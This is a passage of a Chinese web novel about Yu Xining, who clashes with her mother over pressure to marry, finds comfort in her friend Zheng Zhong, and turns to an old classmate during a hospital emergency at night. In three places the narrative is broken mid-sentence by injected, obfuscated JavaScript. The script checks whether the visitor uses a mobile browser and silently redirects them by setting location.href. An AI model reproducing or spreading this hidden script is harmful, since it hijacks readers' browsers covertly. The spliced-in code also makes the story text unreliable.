陈敬涛酒足饭饱,摸着啤酒肚自豪道:“我啊,如今就剩梓航这一门‘功课’,然后就能交差了。梓钰现在不用我操心,工作稳定,孩子也有了。梓航呢,虽然没有在大城市发展,但回来创业做这个电商,也做得有模有样,找对象我也是不担心的,男孩子,追他的人从南门排到了北门,他自己慢慢选。” 余序洲坐在陈敬涛旁边,吃着饭,若无其事地给陈慧柔夹菜,像是自动屏蔽掉了这个话题一样不想参与。 王君笑道:“他应该是有女朋友了,我猜的啊,最近经常看他在煲电话粥。说起来,希柠真得抓紧了,不然就要被弟弟给赶上了。” 陈慧柔抿抿唇,放下筷子坐直身来,目光有着前所未有的坚定,弯唇称赞:“希柠挺争气的,工作不错,还有个副业是网上的UP主,很火的,平日里有空还能接些外快赚赚。现在买了房,装修这些事,我跟她爸都没操心过,她一手包办得妥妥帖帖。” 在家,陈慧柔或许会丧气,会失落,会觉得余希柠事事让她操碎了心,但在外,她还是会想让外界觉得,自己的女儿是独立且优秀的,是有能力的。 陈敬禹饶有兴味地看着陈慧柔:“你跟序洲哥当初到底怎么想的,希柠现在重点是买房吗?是找对象啊!她都多大了,过年得有二十九了吧?男大当婚,女大当嫁,你们这是主次不分。” 徐姗在旁边听了,吃饭的动作都顿了下,为丈夫捏了一把冷汗。见陈慧柔脸色明显变了,赶忙圆场。 “话也不是这么说,能在广州买房还是挺厉害的,希柠才工作多少年,就攒了那么多钱,时宜到现在都还是月光族。” “不不,首付大头是我们出,她拿了十五万来凑,但装修这块她自己出钱。” 余序洲补充更正了一下,免得旁人误以为余希柠在广州是干什么大生意。 陈敬禹不依不饶道:“工作、赚钱赚多少、买房这些都是次要,什么年龄就该做什么事情,读高中的时候,她的任务是考上一所好学校。读大学的时候,任务是毕业了找到一份好工作。现在工作稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15161105|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定了,就得考虑成家问题,你们不仅不催,还放任她。房子用得着她来买吗?结了婚,靠男方不就行了,买房是男人的事情。” 这饭陈慧柔是彻底吃不下了,她把筷子往桌上一放,又气又笑:“你既然说到这,那我问你,作为希柠亲小舅,又是在大城市里混得有头有脸的人。你关照过希柠吗?有想过给她介绍对象吗?我们不是不催,我们手里也没有好牌,你既然觉得这是大事,那你作为家人能不能搭把手?别什么都没做,光一张嘴会说啊。” 别说陈敬涛了,就连余序洲都愣住,极少见到陈慧柔在外面这么激动,她性子一贯温软,从不与人争论。 今天虽说面上是笑着说这番话,可字字句句冲得很,在场人都听得出来。 “大中午的,又没喝酒你怎么还醉了。” 余序洲讪笑拉着陈慧柔。 徐姗忙不迭圆场,摁着陈敬禹,把话柄接了去:“大姐说的对,这事儿确实是敬禹没做好,我们会把希柠大事放在心上的。” 王君也笑着附和:“对啊,阿姗负责从旁督促,争取早日落实。” 陈敬禹摇头摆手:“我都没管时宜,这种事就得靠自己,再说了,我认识的圈层跟你们也不一样,希柠不是编制也不是老师,他们看不上的。” “你也喝醉了是不是。”徐姗打断陈敬禹的话。 陈慧柔恨声道:“看不上谁?我们希柠优秀得很!你就是没有心!” 这顿饭最终还是不欢而散。 这些年,每逢假日聚餐或者陈敬涛请客吃饭,陈慧柔都会主动留到宴席最后,帮王君洗碗搭把手。 今天是她第一次气得把筷子一摔,扭头就走,甚至嘴都没擦,外套也没拿。 余序洲猝不及防地看着这一切,慌忙起身,连招呼都来不及打,拿起车钥匙和外套,踩着皮鞋跟就往外追。 屋子里的人一个个面面相觑。 徐姗嫁给陈敬禹这么多年,头回看到陈慧柔生气,想都没想就拍了陈敬禹一下:“你就非得还那句嘴?” 陈敬禹:“我就是让她认清现实,别总被孩子带着走。” 陈慧柔冲出了巷子,冷风吹得脸上的泪水肆虐,她胡乱抹掉,抱着双臂快步往外走。 一直维持着自己那平和温顺的性子久了,偶有一次像今天这样任凭所有情绪汹涌地闯出来,不惜撕破脸,陈慧柔不后悔。 因为余希柠是她的底线。 从陈敬涛家跑出来,所有街景在眼前像飞速倒退一般,变换成后街巷的景象,她还是小姑娘,下课了背着个书包回家,进门还没有洗手,徐晓敏就让她去隔壁街的老姑家帮忙洗衣服。 陈敬涛坐在内屋里写作业,旁边还放着碗甘蔗水。 陈慧柔应声放下书包,想要碗水润润嗓子再走。结果下一秒,从外面疯玩回来的陈敬禹就抢先跑到徐晓敏面前。 “妈!我饿了,什么时候吃饭?” 瞥见家里煮了甘蔗水,二话没说就着壶口往嘴里倒,一下就见底了。 “你怎么还站在这,快去啊。”陈镇东对着陈慧柔催促道,“晚饭给你留着。” 一桶衣服拎到河边洗完,河上渔船的灯都亮了,天色也暗了,陈慧柔咬咬牙把衣服一件拧干,重新装回桶里,背到老姑家晾好。 等回到家,桌上留了一碗米饭和一小碟榨菜跟肉末,饿晕了的陈慧柔连热一下菜都没有,囫囵扒完,等待她的还有一池子碗要洗。 一件带着体温的温暖大衣裹住了陈慧柔的肩膀,思绪从那顿饭、那一池子的碗里抽离开,她缓缓转过头看向余序洲,几乎是站不住地靠在他怀里。 “车就停在门口,你要一个人走去哪?” 上了车,陈慧柔渐渐冷静下来,余序洲帮她系好安全带,把车倒出巷子,打转方向盘往大道上开。 陈慧柔一阵恍惚:“我刚刚一瞬间,想起了很多小时候的事情。” 余序洲嗯了声,没有打断她,任凭她说。 “小时候的日子是真的很苦,父母也确确实实很偏心,正因为过过那样的生活,所以我才会想把全部都给希柠,希望她好,希望她争气。可是……” 陈慧柔喘了很大一口气,不停地抚平起伏的胸口。 余序洲偏过头看她,见她又是要哭的样子,默默腾出手来抽了张纸巾递给她。 “可是什么,你刚刚在饭桌上不是怼得挺好,我看大佬都不敢说话了。” “我就是觉得他们太过分了,一个个在炫耀什么啊,之前我说希柠有个副业,账号在网上都有十万粉丝了,大哥就说,不就是做后期的,剪的东西有人看吗?梓航直播间每天都有几十万粉丝看呢。” 陈慧柔一提起这个就来气,她引以为傲的事情,被陈敬涛说得一文不值。 余序洲道:“要我说,这事就没必要拿出来说,他们又不懂,你说给他们听有什么用。这充其量只是希柠的一个爱好,又不能当饭吃。” “但这也是她能力的一种证明啊,你有十万粉丝吗?你要是开个账号,十个都凑不齐吧?” 陈慧柔气得声量都大了,说完又咳了几声。 余序洲劝她缓一缓,别一小时内把力气都花光了,回家就栽在床上说没力气、头疼。 “从小到大,余希柠没有一件事是不让我操心的,你说她怎么就不能争口气,给我点惊喜,让我也能在兄弟面前抬得起头来啊。” 余序洲听出了陈慧柔话里的情绪,提醒道:“哎,说归说,你别把今天在饭桌上的气发泄到希柠身上啊,她可不知道今天这事,别回头又吵起来。” 陈慧柔叹气:“烦死我了。” 黄沐卿回复的话,她都还没想好要跟余希柠怎么说。 51. 陪伴 余希柠一早就跟宋乔夫妇来佛山顺联看家具。 宋乔是去年买的婚房,明年年中交楼,想着趁周末来佛山看一看沙发和床,顺带拉余希柠也一起参谋,积累点经验。 “你们楼盘进度怎么样?” “我买得晚,看公众号推送的家书,过完年也能交楼装修了。” 余希柠最近也在恶补全屋定制的知识,今天跟宋乔过来,也是想看看能不能直接抄功课。 “那还挺快的,收楼的时候你爸妈来吗?” “不来吧,来了也没什么用,又不是收了就要搬进去,还得整改一些细节,等入宅再让他们来吧。” 余希柠打算等全部弄好了再让陈慧柔和余序洲来看,毕竟装修这块,他们也不懂。 宋乔了然点头:“那你一个人要操心的事还挺多的,像我们有两个人,也需要分工。前期他负责硬装,我负责软装,不过到头来还是我一个人掌控全局,有些细节男人都不注意的,也没有审美感。” “我现在每天都得花时间在小红薯上看攻略,还好业主群里有不少之前已经做过功课的,多少也能抄一些。像你们有两人商量总比我一个人纠结好。” 余希柠有种任重而道远的感觉:“前期功课还好,后面盯场才让我犯愁,从租的地方过去太远了,一个多小时的地铁,来回半天时间就过去了。工作日还要上班,想想就头疼。” 宋乔建议道:“要不让你妈上来盯?” 余希柠果断摇头:“那我情愿自己头疼。” 佛山顺联是做定制家具出名的,很多网红款式都能在这里找到工厂订做,区别在于用料和工艺。 宋乔来之前也是在网上看了很多帖子,问了很多真实买家的反馈才粗略定下几家作为今天主要目的地。 三个人从白天逛到黑夜,宋乔夫妇定下了一个沙发款式,包括布料颜色、用材都当场确定,余希柠也看好了两三个款,加了门店联系方式,就等着交楼量完尺寸再联系。 这一趟总算不是毫无收获,三人吃完饭回到市区已经十点半,余希柠到家也要十一点多,还好明天是周日,不用上班。 洗完澡吹完头发,余希柠坐在沙发上玩手机,朋友圈里刷到许自衡刚发的情侣合照,随手点了个赞。 没过多久,顶部出现新红点提示。是作为共同好友的林屿沉,也点赞了这条朋友圈。 余希柠一下就想起陈慧柔说的那件事,都过了两三天了也没动静,许是没成,不然以陈慧柔的性子不可能按耐得住。 心里有片刻失落,但也很快释然,眼下要忙的事情还很多。 余希柠昨天刚答应了宣传部的老师,过年回去拍宣传片,还得趁有空理一理拍摄思路,找找有没有什么片子能提供新思路的。 虽说老师是因为几年前那条宣传片找过来,但余希柠还是想拍些不一样的,总不能两三年过去还同一个水平。 次日,陈慧柔给余希柠发了好几条信息都没回,一个视频电话打过来才发现,人还没起床。 “都中午了还不起?” 中午? 余希柠吓了一跳,看了眼手机时间,十点零二分,内心翻了个白眼,差点想说脏话。 “昨天睡得晚,有什么事吗?” “昨天和宋乔他们两口子去佛山看家具了?” “嗯。” 余希柠把手机开免提,赖了会床后才慢吞吞起身穿衣服,进浴室洗漱,挤着牙膏刷牙,一边把水煮开。 听着电话另一头的陈慧柔不停地唠叨,大致意思就是问人家是夫妻俩有商有量,她一个人跟在屁股后面,有没有点落差感。 听惯了这些话,余希柠已经没什么感觉了,倒了杯温水喝,重新拿起手机坐在沙发上准备点外卖。 “你打电话来就为了说这些吗?还是有别的什么事?” 陈慧柔一叹气,余希柠就已经猜到了她想说什么。 “屿沉的事,你沐卿阿姨回复了,他说现在正在创业初期,工作不稳定,太忙了,暂时不考虑谈恋爱。” “哦。” 失望落空是什么感觉,余希柠好像已经习惯了,早就有了预感,声音也显得很平静。 可就是这种不痛不痒的态度,一下刺激到了陈慧柔,余希柠越是不把这件事放在心上,陈敬禹那日的嘲讽就越刺耳。 “单靠我们家长来张罗这种事,希望是很渺茫的。其他人都是自己努力,从工作、学习、社交去向外拓展朋友圈。你一直宅在家里剪片、煲剧,这样是不行的,要多出去参加一些活动,多认识一些人。” “妈,你怎么又来了,这话题我们之前不是聊过吗?我上班已经很累了,周末就想休息,做点自己喜欢的事情。当然,朋友组织活动我会参加,可也没有认识新朋友的空间啊,再说了,外面世界鱼龙混杂,保护自己都来不及。” 余希柠努力让自己的语气听上去平和些,下意识把语速放慢,就为了陈慧柔能够听进去。 结果下一秒,她也不知道是哪个词触到了陈慧柔的逆鳞,令对方瞬间激动起来:“喜欢的事情?你那些事能有什么用啊。余希柠你能不能现实一些,别总是把心思寄托在一些莫须有、实现不了的事情上。我们找对象也是要看看自身条件的,你不是陈时宜,没有她那么高的学历和背景,我和你爸也没有小舅那么有能耐,他们能挑三拣四能要求高,你要求不了。” 余希柠看外卖的动作一顿,一大早莫名其妙挨了顿骂,仔细一听,说法还换了。 “你突然间拿陈时宜来作比较干什么?” “我就是想告诉你,不要眼光太高,我们家就是普通人家,找个各方面条件差不多的就行,别总是活得那么虚幻,你过完年就二十九了,转眼都三十了!再不抓紧,等陈梓航都结婚了,你还单着。” “单着怎么了?犯法了吗?” 余希柠听笑了,自从工作步入正轨,结婚这话题就紧赶着来,车轱辘话翻来覆去,好像陷入了一个死循环。 只要她一日不结婚,就永远无法挣脱出来。 “我难道就必须通过结婚,通过一个男人来实现我的人生价值吗?单我余希柠一个人是过不下去还是怎样?” “我不否认你的独立能力,但一个人和两个人互相帮衬是不一样的。你现在还没有遇到难事,等遇到了,你就知道身边缺一个可以依靠的人有多难。我和你爸都老了,你是我们唯一的希望,你过得好,我们才能放心啊。” “你要不要听听看你现在在说什么?” 近两年余希柠越来越觉得自己脾气不好,特别是在跟父母的沟通上,像炮仗似的一点就燃。疫情后,见到陈慧柔身体状况那么差,她还是努力说服自己,要多体谅父母,要理解,要对他们好。 可明显,只有她这么想。 同样的话,同样的争吵,重复了一遍又一遍,就好像是一个间断性发作的状态。 余希柠觉得自己像被紧紧束缚住了一样,她不愿意用道德绑架这样的字样来形容陈慧柔的所作所为。 她只是觉得,从某个时间段开始,不像是父母的孩子,而像是他们的任务,他们攻略自己人生副本里一个必须完成的任务。 在念书的时候,考高分,上好大学,是好孩子的标签,是他们竭力要去促成的目标。 在工作的时候,考编制,结婚生子,是好孩子的新标签,是他们任务里最后一环,且不包售后。 如果婚姻失败,如果所嫁非良人,一概不管,一切以先结婚为主。 “妈,我们俩不是工厂里流水线的产物,我们是独立的个体,做不到每个流程都和别人一样。我有独立的思想跟意志,有我想过的生活,我希望你也是,你也应该是独立的,而不是要依附我。” 余希柠深呼吸,手心开始无端端冒汗,眼眶热意也越来越明显。 “你是我全部的希望……我在你身上倾注了全部心血……这样的话太重了,重到我承受不起。我一个人在外生活跟工作,本来就有形形色色的压力需要我自己去调节,你帮不上忙不要紧,可你不能也像座山一样压在我身上啊。” 眼泪终于止不住地往下掉,余希柠张嘴就尝到了咸苦的味道:“如果你一直这样,改变不了,那我们都会过得很痛苦。” 说完这句话,余希柠径直挂断了电话。 周日的早晨,阳光透过纱帘照射进屋子,却没能照到余希柠身上,她坐的位置不偏不倚就在背光处,一切就是那么巧妙地与心境相互吻合。 陈慧柔的一通电话打乱了她的生活节奏和安排,过往吵架的画面也再度被翻了出来,余希柠默默捂住脸哭出声,她不知道为什么会把日子过成这样,更不知道为什么明明是亲母女,却要锋芒相向。 那明明是爱吧?可为什么让人那么痛苦。 陈慧柔和余希柠的关系又陷入了冰点,余序洲得知来龙去脉,既无语也无奈。 “还有两个星期就过年了,你就非得跟她吵?” “是我想吵吗?我苦口婆心劝,是她不听。” 冷静了两天,陈慧柔也有些后悔,就像余序洲说的,不该因为陈敬禹三两句话,就把情绪全洒在余希柠身上。 可她当时就是控制不了,眼下也只能借余序洲的口去试探余希柠年末安排。 “农历二十七回,坐许于薇的车。” 余希柠很晚才回余序洲的消息,文字看不出情绪,就觉得很生硬。 “大过年的,她回来你别再跟她聊这个话题了,这事也急不来。” 余序洲收起手机,叮嘱道。 拎着两瓶酒到便利店柜台结账,看见架上摆放的一盒盒香烟,余希柠突然就想起好几年前在陈梓钰书柜里翻出的烟和打火机。 时过境迁,她忽然就理解了陈梓钰当时的想法。 “四十六块八。” 店员扫码后顺着她的目光望向身后:“还要烟吗?” “不了。” 余希柠扫码付款,要了个袋子装着酒往家里走去。电梯门噔的一声往两边打开,余希柠刚拐过弯就看到家门口站着个人。 “Surprised!哎,你怎么从外面来的啊。” 郑重上前抱住发愣的余希柠,视线落在她手里拎着的袋子,玻璃瓶碰撞发出声响。 “买酒?消愁?那我来得岂不正是时候?” 余希柠这才回过神来,又惊又喜地看着眼前的郑重,声线里带着哽咽:“你什么时候回来的啊……” “下午刚到家,行李放下就来找你了。” 余希柠拿出钥匙开门,弯腰给郑重找拖鞋穿,结果她已经光着脚往里走了,四周环顾打量。 “还真跟视频里一样,不过比那时多了好多东西。” 余希柠刚搬过来时给郑重拍过视频,问了她一些装潢布置的想法,比如沙发和书桌要怎么摆。 “我都住了快一年了,东西当然多。” 余希柠收起沙发上的小被子,给郑重腾出位置:“你来都没提前说,我家还没收拾。” 上周末本来要大扫除,结果和陈慧柔吵完瞬间没了心情,这两天下班也晚,回到家都十点多了,也就今天稍微早一些。 “不是想给你个惊喜嘛,就没通知你。倒是让我撞见深夜买酒了,怎么回事,明天不是还要上班?”郑重蹙眉打量,语气里满是试探:“让我猜猜,又是和家里的矛盾?” “不愧是郑博,愈发能读懂人心了。” 郑重研究生毕业后工作了一年就辞职,现在正在读博,她很享受做学术的氛围,加上家里人支持,日子过得很滋润。 放假就到处旅游,私底下也会做一些小投资,没有男朋友但生活过得很充实,家里人也不会催,是余希柠朋友圈里精神最富裕的人之一。 亦是余希柠想成为但成为不了的人。 “送你的礼物,是冰岛蓝湖很有名的护手霜跟面膜,还有小羊冰箱贴,这个羊毛衫我觉得挺好看的也给你买了,和我身上这个是情侣装!全手工定制的,你看这个吊牌,上面还有制作者的名字。” 郑重刚从冰岛回来,给余希柠带了一大堆礼物,一件件拿出来展示。 “啊有你真好,我的富婆朋友。” 余希柠狠狠抱住郑重,佯装感动到哭泣的样子。 “本来是不打算给你买的,说好了三十岁前一起去冰岛看极光,结果临了放我鸽子。” 去冰岛是余希柠最先提的,觉得那是个可以净化心灵的地方,世界最北的首都,去一次感觉已经可以炫耀一辈子。 郑重本来就喜欢旅游,得知余希柠有这个想法,一拍即合,当下就说负责DIY签证和做攻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你在西班牙的时候,给我感觉就是很外放很张扬,能量很高。” 余希柠解释道:“那会只有读书这一件事,日子过得单纯,需要考虑的事情也不复杂。现在不同了,我上周刚跟我妈吵完架,感觉有操心不完的事情,顾这顾那。要有下辈子,我坚决不当独生女。” 郑重品着酒,润了润唇:“我还记得以前一起念书时说,你和我在网上看到的潮汕女孩很不一样,看来评价早了。你终究还是和她们走向了同一条路,没能飞出父母所在的这座山。” 余希柠:“其实那会就已经有预兆了,只不过我一直以为能改变我父母的观点。” 郑重之前也听余希柠说起过陈慧柔的一些言论和做法,对她妈妈催她找对象结婚这事也知道。 “我总以为自己比别的女孩要幸运,父母是老师,教书育人一辈子,有些道理他们会听得进去,也会理解。可事实证明,是我想简单了,褪去教师这层身份,他们也是普通人。并不是说当老师的,思想就会开放些。” 余希柠转了转手里的杯子,拧着眉:“我就是搞不明白,只要没结婚,不论我其他方面做得多好多努力,在父母眼里就是一文不值,还得像长不大的小孩似的受管教。” 郑重嗯了一声,拉长尾音思考:“你周围的人是不是大都结婚了?潮汕那边的朋友。” “差不多吧,表姐、堂姐也是,我表弟也有女朋友了。” “那其实你也会受周围氛围影响,跟你妈所处的环境大差不差。” 郑重碰了下余希柠的杯子:“有时候是环境、有时候是情感,迫使女性认为婚配和家庭是人生必不可少的一部分。你肯定是有想要谈恋爱的时候,只不过还没有遇上那个人,你妈肯定有想理解你的时候,只不过偶尔会被其他情绪左右。” 郑重的父母因为做生意的缘故,常年没有管过她。近几年好了些,许是钱赚够了,她的母亲开始关注家庭关系、母女关系,会想要弥补郑重在情感上的缺失,也会有无处下手的局促感。 好在郑重没过多计较这些,她的心思跟注意力都放在了学术和自我更新上,对旁的,有足够的耐心。 “要不就花时间去了解一下你妈妈,那一辈的人,很难用现在的思维去剖析你的生活跟心理,但你要懂她还是相对容易些。要不干脆什么都别管,把自己日子过好来,如果你的二十八岁过得很不怎么样,那就从二十九岁开始,人生没有重复,当下是最重要的,其他含糊过去就算了,别回头消耗自己。” “敬你,我的人生金牌导师。” 余希柠碰了一下郑重的杯子,感觉郁结在心头的情绪散去了不少,一下又豁然许多。 她的很多纠结,在郑重三两句话下已然显得不那么重要。 “我也不知道自己说的对不对,但起码这几年我过得很开心。如果真要论谁开导谁,其实应该是你拉了我一把。” “我?” 余希柠想不起自己什么时候这么有能耐过。 郑重:“刚上大学那会,在我处处都想做得最好,给自己立完美人设的时候,你劝过我,当下很重要,情绪很重要,自己更重要。” 隐约有这样的场景,但余希柠已经记不清了,她抽了抽鼻子,笑着点头:“不瞒你说,我很喜欢念书时的自己。” “没事,总有一个明天,能解决看似现在无法解决的问题。萨拉马戈说的,共勉。” 郑重把喝完的杯子搁在桌上,抱着软枕倒头躺在沙发上:“我今晚就睡这儿吧,适合我。” “别啊,沙发不舒服,伸展不开。” 余希柠见她真有要睡沙发的架势,忙拉住她的手想要把人拉起来。 “你别管我,不舒服了我自然会跑进屋里睡,放心,我啊,最不会勉强自己了。” 郑重说完就寻了个舒服的姿势,闭上眼,余希柠无奈,折回屋给她拿了件被子盖上,弯腰收拾地毯上的酒杯和零食。 刷完牙,余希柠蹑手蹑脚回到房间,躺到床上,时间已过零点,迎来了小寒日。 客厅里的人睡得正熟。有一瞬间,余希柠觉得像回到了在马德里的公寓宿舍。 谢谢你的到来,郑重。 52. 救火 半夜,客厅里传来砰的一声,宛若重物砸到了地上,余希柠瞬间被吓醒,紧接着就听见郑重的闷哼声。 余希柠赶紧翻身下床,打开灯跑出去,只见郑重蜷缩在地上,整张脸煞白,双手紧捂着肚子,痛得直冒冷汗。 “郑重你怎么了,别吓我啊!” 余希柠没遇到这种情况,吓得手足无措,她不敢碰郑重,光着脚跑回屋拿手机拨120叫救护车。 “疼……疼死了……” 郑重难受得无法呼吸,感觉整个人晕得厉害,余希柠尝试着把她扶起来,结果她疼得直喊。 余希柠吓坏了,不敢再随便搬动,在她身后垫上被子和枕头,重新抓过手机。 手指冰凉,屏幕划了几下才划开,视线盯着界面一堆APP,一时间不知道是先查急救措施还是联系谁搭把手。 “120,120怎么还没来……郑重你再坚持一会……我,我,你抓着我的手……” 余希柠把手递过去给郑重抓着,猛的一下,疼得另一只手差点握不住手机。手指不小心点开了微信的通讯录,摁到“L”,页面直接跳转,林屿沉的名字出现在上面。 余希柠抿紧唇,一冲动直接拨了语音过去,对方很快就接了,嗓音沙哑中带着不确定—— “余希柠?” 听到林屿沉的声音,她眼泪立马掉下来,委屈和害怕占上风:“林屿沉……呜呜呜你能不能帮我个忙……” 120和林屿沉是前后脚到的。 出电梯后林屿沉循着动静顺利找到门户,紧接着就看到医护人员把郑重抬上了担架,余希柠光着脚鞋子都没穿跟在后面,头发凌乱,毛衣随意搭在肩上披着。 “把鞋穿上,你外套呢。” 林屿沉拉住她,将人带回屋里,余希柠任凭他指挥,把搭在肩上的毛衣穿好,穿上外套和鞋子。 林屿沉:“钥匙。” “哦哦。” 电梯轿厢里,余希柠的恐慌余韵未散,眼睛紧盯着不断往下的数字,林屿沉站在一旁看她,正准备说什么,电梯门开了,余希柠二话不说冲了出去。 “谁跟车?”医护问。 林屿沉拉着余希柠的手:“我们一起。” 到医院就进了急诊,医生开了B超和血常规检查,林屿沉主动拿过单子去缴费。 是阑尾炎,炎症很严重,需要马上住院做手术。 来医院的路上,余希柠就已经拿着郑重的手机给她父母打电话,等待的时间里,她和林屿沉就坐在外面的椅子上。 “你还好吗?” 林屿沉倒了杯温水递给余希柠。 余希柠双手接过,说了声谢谢,压根不敢抬头看人。心慢慢定下来才意识到,人在慌张害怕时能捅多大篓子,居然凌晨两点多,把一个多年没联系的男人叫到了自己家。 借着喝水的动作,余希柠脑子飞速运转盘算着该怎么面对这个情景,下一秒就想起那句冷冰冰的话—— “他刚创业,很忙所以不打算谈恋爱。” 余希柠捏紧了纸杯,单手把围巾往上扯了扯,盖住小半张脸,小声道:“不好意思啊,大晚上把你叫过来,我当时就是……” 对上林屿沉的目光,余希柠脸颊一阵阵发烫,她慌忙垂下眼,有点不知道怎么狡辩。真的是不小心,刚刚好,就很巧地摁到了“L”发音的联系人。 再然后,只看见他的名字。 她都不知道该怎么表述,总觉得林屿沉不会信。 “没什么,没事就好。” 林屿沉双手抄兜,提了一下大衣外套在余希柠旁边的位置坐下。 这一动作,把余希柠原本到了嘴边的话堵了回去,她刚想说“你可以先回去休息了”,嘴唇动了动又闭上。 “空腹喝酒?还是在工作日晚?” 林屿沉的声音,和印象中那个假期给她送来金中笔记的少年人相比,沉稳不少。却和这么多年,余希柠想象的声线大差不差。 一小时前兵荒马乱,她只顾着攀紧这根浮木,这会儿心定下来了,才把注意力集中在林屿沉身上。 他好像又长高了不少,方才很多次都是仰着头看他的,不过眉眼没有太大变化,就是成熟了些,有了些许锋芒。 林屿沉的五官,不是那种温润型的,余希柠觉得剑眉星目这个词就能很完美地概括眉眼,深邃可叹惊鸿,轮廓英朗平添正气。 特别是从侧面看,下颌线的线条太清晰了。 余希柠不敢多看,扭过头:“郑重空腹,我不是,她来找我的时候也没说自己没吃饭。我们还吃了东西的,不是只喝酒。” 林屿沉又问:“为什么喝酒?” 为什么? 说起来这事还得怪他。 要不是他拒绝相亲,陈慧柔女士至于大周末破防,特地打电话来训斥吗? 没想到歪打正着碰见正主,事件拐了八百个弯形成闭环,余希柠都不得不感叹一句,太有意思了。 她没回答林屿沉这个问题,反问道:“创业很忙?” 林屿沉顿了下,眸色流动:“你知道我在创业?” 这什么问题? 余希柠扭头看他,觉得莫名其妙:“不是你说……” 不对,不能把相亲的事情拿到面上说,太尴尬了。 如果他们单纯只是多年未见的老同学,气氛应该是融洽和谐的,互相关心了解对方近况,再对今日伸出援手表示感谢。 一旦提及相亲,倒显得她那通电话像死缠烂打,明明被拒绝了,还主动找上门求帮助,没准落在林屿沉眼里,就是自己对他有意思。 余希柠在短暂五秒钟里迅速理清思路,清了清嗓子:“听说的。” 林屿沉像是想到什么,点点头:“许自衡跟你说的吧?我之前看到你点赞他朋友圈了。” 和许自衡又有什么关系? 余希柠彻底糊涂了,很后悔开启这个话题。好在这时,楼梯口传来脚步声,郑重的父母来了。 虽然是第一次见面,但余希柠还是认了出来。 “叔叔阿姨,我是郑重的朋友余希柠。” “啊希柠,是你送郑重来医院的吧?谢谢你啦。” 郑重的妈妈看上去很年轻,气质高雅,虽然面上很着急,但说话时声线还是很温柔。交代完郑重的情况,余希柠和林屿沉先行离开。 “我打车回去,你呢?” “我和你一起。” 余希柠原本放松的身体一下又绷紧,磕磕巴巴道:“不,不用了,我自己一个人能回。” 林屿沉没什么表情,从口袋里拿出车钥匙晃了晃:“我车还停在你小区楼下。” 余希柠:“……” 不知道是不是错觉,她认为林屿沉好像在嘲笑自己。 司机今早第一单生意就拉了对氛围很奇怪的年轻人,像一对,又不太像,不时透过后视镜打量。 余希柠上车后就侧过身靠着车窗阖眼休息,有林屿沉在,她才敢直接睡。实际上也是真困了,折腾了一夜,心惊胆战消耗了不少精神。 林屿沉端正坐着,双手抱臂在怀也没看旁边的人,直到抵达目的地,才叫醒余希柠。 “嗯……” 余希柠迷迷糊糊应了声,裹着围巾下车,还没站稳就先直起身,脑袋砰的撞到了车门顶。 这下彻底醒了。 司机回过头来:“靓女,慢点啊。” 余希柠捂着脑袋哼了几声,脸涨得通红。林屿沉站旁边看着,没忍住笑出声来。 “你是真行。” “林屿沉你没良心!” 回到家,直至把门关上,余希柠都想不通自己为什么突然喊出那句话,而且气冲冲就刷门禁进了楼栋。连句再见都没对林屿沉说,就这么把他扔在了楼下。 她跑到阳台张望着,楼层高,隐约只看见一辆黑色的小轿车驶离小区,估计就是林屿沉的车了。 郑重在医院住了三天,第二天就给余希柠回了消息,无非是说感谢,自己大半夜的把余希柠吓得不轻。 “我听我爸妈说,送我来医院的除了你还有个大帅哥,谁啊?你的邻居?” 大晚上的,郑重也就只想到邻居这一种可能,以为是叫120的动静太大,吵到了隔壁。 印象里好像从余希柠家离开时,是有个男的在和余希柠说话,但那会她已经疼得不太清醒了,记忆模糊。 余希柠反反复复编辑信息:“呃,关键时刻点兵点将点来的外援,就一同学。” 郑重:“什么同学大半夜接你电话,还真的赶过来帮忙,追求者?” 余希柠:“拒绝者。” 郑重:“哈?什么瓜!” 余希柠:“请郑女士安心养病,其他事情等出院了再详说。” 冷静了两天后,余希柠也觉得林屿沉当夜行为非常仗义,不管之前发生过什么,他能第一时间听到自己诉求并且赶过来,都是恩情。 趁着周末,余希柠主动发信息约饭,为表谢意。 林屿沉消息回得很快—— “我出差上海,先欠着,年后再找你。” 余希柠盯着这句话来回看了许久,回了个“好”的表情包。 放假前,余希柠买了些水果去了趟郑重家,说起林屿沉的事情,郑重嗅到了一丝暧昧气息。 余希柠坚持两人就是普通同学,而且对方已经明确表示过不准备谈恋爱。 郑重提醒她,遵从本心。 农历二十七,余希柠搭上许于薇一家的顺风车回饶平,路上和小孩玩得不亦乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“给我吧,你妈非得让我下来,来。”余序洲拿过箱子走在前面,一口气上三层楼,模样很轻松:“路上堵车吗?我看地图路况倒是绿的。” “不堵,中间在服务区歇了会。” 余希柠跟在余序洲身后进门,听到厨房油烟机的声音,刚想问是不是还没吃饭,就见陈慧柔系着围裙走出来。 “回来啦。” 还和从前一样,如果没有和余序洲一块去高铁站接,陈慧柔也会在她进门的第一时间迎上来打招呼。 余希柠抿唇,挤了个笑容:“妈。” 陈慧柔:“哎!饿了吧,饭做好了,洗洗手就能吃。” 余希柠看向旁边的余序洲,小声问:“你们俩还没吃?这都八点了。” 往常余序洲和陈慧柔五点半就吃饭,最晚也不超过六点半,所以余希柠压根没想到他们会等自己。 关键是她来的一路,嘴巴都没停过,奶茶、饼干、小蛋糕、肉脯…… 早就填饱肚子了。 “她说要等你回来再吃,行李箱给你搁这了,先洗手吃饭。” 